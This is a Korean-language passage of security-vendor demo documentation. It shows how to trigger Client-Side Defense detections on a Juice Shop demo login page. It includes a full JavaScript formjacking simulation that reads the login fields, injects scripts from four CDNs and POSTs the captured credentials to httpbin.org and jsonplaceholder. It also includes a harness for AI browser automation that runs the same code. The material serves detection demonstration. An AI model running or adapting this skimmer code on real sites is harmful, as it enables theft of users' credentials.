콘텐츠로 이동
클라이언트 측 방어

트리거 탐지

트리거 탐지

섹션 제목: “트리거 탐지”

CSD는 브라우저 내부의 JavaScript 동작을 모니터링합니다. WAF 또는 Bot 고급 방어와 달리, curl 명령으로는 CSD 탐지를 트리거할 수 없으며 — 실제 브라우저 측 스크립트 활동이 필요합니다. 다음 통합 스크립트는 단일 실행으로 세 가지 CSD 탐지 신호를 모두 트리거합니다: 폼 필드 수집, 여러 CDN 도메인에서의 서드파티 스크립트 주입, 외부 엔드포인트로의 데이터 유출.

통합 시뮬레이션 스크립트 실행

섹션 제목: “통합 시뮬레이션 스크립트 실행”

  1. https://botdemo.sales-demo.f5demos.com/#/login에서 Juice Shop 로그인 페이지로 이동합니다.

  2. 폼 필드에 더미 자격 증명을 입력합니다 — Email 필드에 test@example.com을, Password 필드에 P@ssword123을 입력합니다 (폼을 제출하지 마십시오).

  3. DevTools를 엽니다 (F12 → Console 탭)

    Empty DevTools Console ready for script inputEmpty DevTools Console ready for script input

  4. 다음 스크립트를 콘솔에 붙여넣고 Enter 키를 누르십시오 — 자체 실행 함수로 자동으로 실행됩니다.

    Combined Detection Script
    // CSD Demo — Combined Detection Script
    // Triggers ALL CSD detection signals: field reads, script injection, exfiltration
    (function() {
        console.log('='.repeat(50));
        console.log('[CSD Demo] Combined Detection Script — Starting');
        console.log('='.repeat(50));
    

        // Phase 1: Harvest all form fields (CSD tracks field reads on page-load DOM fields)
        console.log('\n[Formjack] Phase 1: Form field harvesting');
        var inputs = document.querySelectorAll('input');
        var harvested = {};
        inputs.forEach(function(input) {
            var name = input.name || input.id || input.type;
            harvested[name] = input.value || '(empty)';
        });
        console.log('[Formjack] Harvested ' + Object.keys(harvested).length + ' fields:', harvested);
    

        // Phase 2: Inject third-party scripts from 4 CDN domains
        console.log('\n[Supply Chain] Phase 2: Multi-CDN script injection');
        var cdns = [
            { url: 'https://cdn.jsdelivr.net/npm/lodash@4.17.21/lodash.min.js', name: 'jsdelivr' },
            { url: 'https://esm.sh/moment@2.30.1', name: 'esm.sh' },
            { url: 'https://unpkg.com/underscore@1.13.7/underscore-min.js', name: 'unpkg' },
            { url: 'https://ga.jspm.io/npm:dayjs@1.11.13/dayjs.min.js', name: 'jspm' }
        ];
        cdns.forEach(function(cdn) {
            var script = document.createElement('script');
            script.src = cdn.url;
            script.onload = function() {
                console.log('[Supply Chain] Loaded from ' + cdn.name + ': ' + cdn.url);
            };
            script.onerror = function() {
                console.log('[Supply Chain] Blocked/failed from ' + cdn.name + ': ' + cdn.url);
            };
            document.head.appendChild(script);
            console.log('[Supply Chain] Injected script tag: ' + cdn.name);
        });
    

        // Phase 3: Exfiltrate harvested data to external endpoints
        console.log('\n[Exfil] Phase 3: Data exfiltration');
        var payload = JSON.stringify({
            type: 'combined_demo',
            credentials: harvested,
            page: window.location.href,
            timestamp: Date.now()
        });
    

        fetch('https://www.httpbin.org/post', {
            method: 'POST',
            mode: 'no-cors',
            body: payload
        }).then(function() {
            console.log('[Exfil] Data sent to www.httpbin.org');
        });
    

        fetch('https://jsonplaceholder.typicode.com/posts', {
            method: 'POST',
            mode: 'no-cors',
            headers: { 'Content-Type': 'application/json' },
            body: payload
        }).then(function() {
            console.log('[Exfil] Data sent to jsonplaceholder.typicode.com');
        });
    

        // Summary
        console.log('\n' + '='.repeat(50));
        console.log('[CSD Demo] Simulation complete');
        console.log('[CSD Demo] Fields harvested: ' + Object.keys(harvested).length);
        console.log('[CSD Demo] Scripts injected: ' + cdns.length + ' (4 CDN domains)');
        console.log('[CSD Demo] Exfil channels: 2 (fetch POST)');
        console.log('[CSD Demo] Detection takes 5-10 minutes to appear in the CSD console.');
        console.log('='.repeat(50));
    })();

  5. 각 단계를 확인하는 단계별 [CSD Demo] 콘솔 출력을 관찰합니다: 필드 수집, 4개 CDN 도메인에서의 스크립트 주입, 데이터 유출. esm.sh는 ES 모듈 구문(export default …)을 제공합니다 — 클래식 <script> 태그로 로드할 경우 Uncaught SyntaxError: Cannot use import statement outside a module이 발생합니다. 이는 예상된 동작이며 CSD 탐지에 영향을 미치지 않습니다 (스크립트 태그는 여전히 주입되고 네트워크 요청도 이루어짐).

    Console output after running the simulation scriptConsole output after running the simulation script

AI 자동화 실행

섹션 제목: “AI 자동화 실행”

브라우저 자동화 도구(MCP Chrome DevTools, Playwright, Puppeteer)를 갖춘 AI 어시스턴트는 위의 수동 단계 대신 프로그래밍 방식으로 시뮬레이션을 실행합니다:

  1. initScript로 탐색 — 깨끗한 문서 컨텍스트를 확보하기 위해 먼저 about:blank로 이동한 후, 로그인 페이지 URL(예: http://$F5XC_DOMAINNAME/#/login)로 navigate_page합니다. 이때 zone.js가 패치하기 전에 네이티브 setInterval, clearInterval, fetch, console.log를 저장하고, 로그인 폼 필드를 폴링하며, 네이티브 HTMLInputElement.prototype.value 세터를 통해 자격 증명을 채우고, 통합 탐지 스크립트를 인라인으로 즉시 실행하는 initScript를 함께 사용합니다. 아래의 verbatim initScript를 사용하십시오.
  2. 환영 배너 닫기 — Escape로 press_key하여 환영 배너를 닫습니다. 이후 방문 시에는 배너가 나타나지 않을 수 있습니다 (쿠키 유지).
  3. 완료 대기 — 모든 CDN 스크립트 로드/오류 콜백 및 fetch 프로미스 해결이 완료될 때까지 10초 대기합니다.
  4. 증거 캡처 — [CSD Demo] Simulation complete를 확인하기 위해 list_console_messages 실행; HTTP 상태 코드를 확인하기 위해 script 및 fetch 유형으로 필터링된 list_network_requests 실행.

initScript 하네스 (verbatim — 자동화 실행을 위해 통합 탐지 스크립트를 래핑):

// Save native references before zone.js patches them
var _si = window.setInterval.bind(window);
var _ci = window.clearInterval.bind(window);
var _fetch = window.fetch.bind(window);
var _log = window.console.log.bind(window.console);


// Poll for login form fields, fill credentials, run detection script
var _poll = _si(function() {
  var emailEl = document.querySelector('input[type="email"]');
  var passEl  = document.querySelector('input[type="password"]');
  if (emailEl && passEl) {
    _ci(_poll);
    // Fill credentials via native setter (bypasses zone.js)
    var nativeSet = Object.getOwnPropertyDescriptor(
      window.HTMLInputElement.prototype, 'value').set;
    nativeSet.call(emailEl, 'test@example.com');
    emailEl.dispatchEvent(new Event('input', { bubbles: true }));
    nativeSet.call(passEl, 'P@ssword123');
    passEl.dispatchEvent(new Event('input', { bubbles: true }));


    // Run Combined Detection Script inline using native fetch for exfil
    (function() {
      _log('==================================================');
      _log('[CSD Demo] Combined Detection Script — Starting');
      _log('==================================================');


      _log('\n[Formjack] Phase 1: Form field harvesting');
      var inputs = document.querySelectorAll('input');
      var harvested = {};
      inputs.forEach(function(input) {
        var name = input.name || input.id || input.type;
        harvested[name] = input.value || '(empty)';
      });
      _log('[Formjack] Harvested ' + Object.keys(harvested).length + ' fields:', harvested);


      _log('\n[Supply Chain] Phase 2: Multi-CDN script injection');
      var cdns = [
        { url: 'https://cdn.jsdelivr.net/npm/lodash@4.17.21/lodash.min.js', name: 'jsdelivr' },
        { url: 'https://esm.sh/moment@2.30.1', name: 'esm.sh' },
        { url: 'https://unpkg.com/underscore@1.13.7/underscore-min.js', name: 'unpkg' },
        { url: 'https://ga.jspm.io/npm:dayjs@1.11.13/dayjs.min.js', name: 'jspm' }
      ];
      cdns.forEach(function(cdn) {
        var script = document.createElement('script');
        script.src = cdn.url;
        script.onload = function() { _log('[Supply Chain] Loaded from ' + cdn.name + ': ' + cdn.url); };
        script.onerror = function() { _log('[Supply Chain] Blocked/failed from ' + cdn.name + ': ' + cdn.url); };
        document.head.appendChild(script);
        _log('[Supply Chain] Injected script tag: ' + cdn.name);
      });


      _log('\n[Exfil] Phase 3: Data exfiltration');
      var payload = JSON.stringify({
        type: 'combined_demo', credentials: harvested,
        page: window.location.href, timestamp: Date.now()
      });
      _fetch('https://www.httpbin.org/post', { method: 'POST', mode: 'no-cors', body: payload })
        .then(function() { _log('[Exfil] Data sent to www.httpbin.org'); });
      _fetch('https://jsonplaceholder.typicode.com/posts', {
        method: 'POST', mode: 'no-cors',
        headers: { 'Content-Type': 'application/json' }, body: payload
      }).then(function() { _log('[Exfil] Data sent to jsonplaceholder.typicode.com'); });


      _log('\n==================================================');
      _log('[CSD Demo] Simulation complete');
      _log('[CSD Demo] Fields harvested: ' + Object.keys(harvested).length);
      _log('[CSD Demo] Scripts injected: 4 (4 CDN domains)');
      _log('[CSD Demo] Exfil channels: 2 (fetch POST)');
      _log('==================================================');
    })();
  }
}, 300);

네이티브 fetch에 대한 참고 사항: 이 하네스는 zone.js 오류를 방지하기 위해 window.fetch.bind(window)를 저장합니다. 이는 모든 공격 시뮬레이션 단계에서 올바른 동작입니다. CSD 완화는 스크립트 로딩을 차단하며 (<script> 태그의 src 값을 지움), fetch() 호출은 차단하지 않으므로, 네이티브 fetch 참조를 저장해도 완화 동작에 영향을 미치지 않습니다. 2단계와 3단계에도 동일한 initScript가 사용됩니다.

브라우저 자동화 도구가 없는 운영자는 위의 수동 단계를 사용합니다.

스크립트 동작 방식

섹션 제목: “스크립트 동작 방식”

통합 시뮬레이션은 세 가지 CSD 탐지 신호를 모두 트리거합니다:

동작스크립트가 하는 일CSD가 감지하는 것
필드 수집기존 input 요소(이메일, 비밀번호)에서 값을 읽음민감한 폼 필드를 읽는 스크립트 — 고위험으로 플래그 지정
스크립트 주입cdn.jsdelivr.net, esm.sh, unpkg.com, ga.jspm.io에서 로드하는 4개의 <script> 태그를 추가페이지의 4개 새로운 서드파티 스크립트 도메인
데이터 유출fetch를 통해 수집된 데이터를 www.httpbin.org 및 jsonplaceholder.typicode.com으로 전송외부 도메인으로의 네트워크 호출 (참고: fetch 대상은 Network 도메인 보기가 아닌 스크립트 네트워크 인터랙션으로 표시됨)

고급 시뮬레이션

섹션 제목: “고급 시뮬레이션”

위의 통합 스크립트는 대부분의 데모에 적합한 간소화된 3단계 버전(수집, 주입, 유출)입니다. 공격 스크립트 라이브러리는 공격 유형별로 구성된 10개의 타깃 스크립트를 제공하며, 통합 스크립트의 범위에 더해 DOM 조작, 쿠키 유출, 이미지 비콘 채널을 추가하는 최대 탐지 스트레스 테스트도 포함되어 있습니다. 개별 스크립트를 사용하여 특정 공격 유형(폼재킹, 디지털 스키밍, 공급망 주입, 데이터 유출, DOM 조작)을 개별적으로 시연하십시오.